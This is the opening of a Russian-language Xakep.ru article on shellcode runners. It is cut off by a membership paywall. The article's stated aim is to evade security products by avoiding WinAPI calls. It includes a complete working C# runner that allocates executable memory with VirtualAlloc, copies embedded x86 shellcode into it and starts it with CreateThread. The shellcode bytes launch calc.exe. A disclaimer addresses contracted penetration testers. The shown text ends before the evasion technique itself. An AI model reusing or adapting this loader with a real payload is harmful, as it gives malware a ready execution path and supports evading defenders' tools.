За­час­тую ата­кующие исполь­зуют стан­дар­тные фун­кции WinAPI для исполне­ния шелл‑кода. Все эти методы дав­ным‑дав­но извес­тны любому защит­ному средс­тву. В статье мы отой­дем от про­торен­ного пути и будем исполь­зовать иную парадиг­му — пол­ный отказ от исполь­зования WinAPI.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Что пред­став­ляет собой стан­дар­тный шелл‑код‑ран­нер? В прин­ципе, ничего осо­бен­ного в нем нет. Алго­ритм прост как валенок:

  1. Сге­нери­ровать, написать или где‑то поза­имс­тво­вать нуж­ный шелл‑код. Для это­го час­то исполь­зуют готовые фрей­мвор­ки вро­де Metasploit.
  2. Вы­делить память под шелл‑код. Здесь чаще все­го обра­щают­ся к фун­кции VirtualAlloc() или низ­коуров­невым ана­логам, нап­ример NtAllocateVirtualMemory().
  3. Ес­ли на пун­кте 2 память была выделе­на без бита executable, то пос­тавить этот бит на память. Тут дер­гают VirtualProtect() или NtProtectVirtualMemory().
  4. Ско­пиро­вать шелл‑код в память. В слу­чае С++ прог­раммы обра­щают­ся к memcpy(), а в слу­чае C# мож­но рас­смот­реть Marshal.Copy().
  5. Пе­редать поток управле­ния по адре­су шелл‑кода. Реали­зует­ся, нап­ример, через соз­дание нового потока внут­ри CreateThread().
  6. Ус­пех!

Та­ким обра­зом, стан­дар­тный шелл‑код‑ран­нер выг­лядит вот так.

using System;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
static void Main(string[] args)
{
byte[] x86shc = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
int size = x86shc.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(x86shc, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}

Об­рати вни­мание, что в кон­це идет вызов WaitForSingleObject(). Он здесь не прос­то так. Наша прог­рамма дела­ет self-injection (внед­рение шелл‑кода в адресное прос­транс­тво текуще­го про­цес­са). Запуск шелл‑кода про­исхо­дит в фун­кции CreateThread(). Если бы пос­ле этой фун­кции ничего не было, то прог­рамма при­оста­нови­ла бы выпол­нение и завер­шилась. Как следс­твие, наш шелл‑код перес­танет выпол­нять­ся.

По­это­му вызов фун­кции WaitForSingleObject() пре­дот­вра­щает преж­девре­мен­ное зак­рытие прог­раммы. Наша основная прог­рамма будет пос­лушно ожи­дать успешно­го исполне­ния шелл‑кода.

Итак, запус­каем код и видим, что все ста­биль­но работа­ет.

Успешное использование стандартного шелл-код-раннера
Ус­пешное исполь­зование стан­дар­тно­го шелл‑код‑ран­нера

Те­перь давай поп­робу­ем изме­нить прог­рамму так, что­бы изба­вить­ся от всех фун­кций WinAPI. В качес­тве шелл‑кода, как ты понял, исполь­зуем стан­дар­тный запуск каль­кулято­ра. Архи­тек­тура — х86.

 

Синхронизация через Sleep

Нач­нем с самого прос­того — выб­росим фун­кцию WaitForSingleObject(). Ее пос­ледним аргу­мен­том было зна­чение 0xFFFFFFFF, что рав­носиль­но кон­стан­те INFINITE в C++.

Значение константы INIFINITE
Зна­чение кон­стан­ты INIFINITE

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    4 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии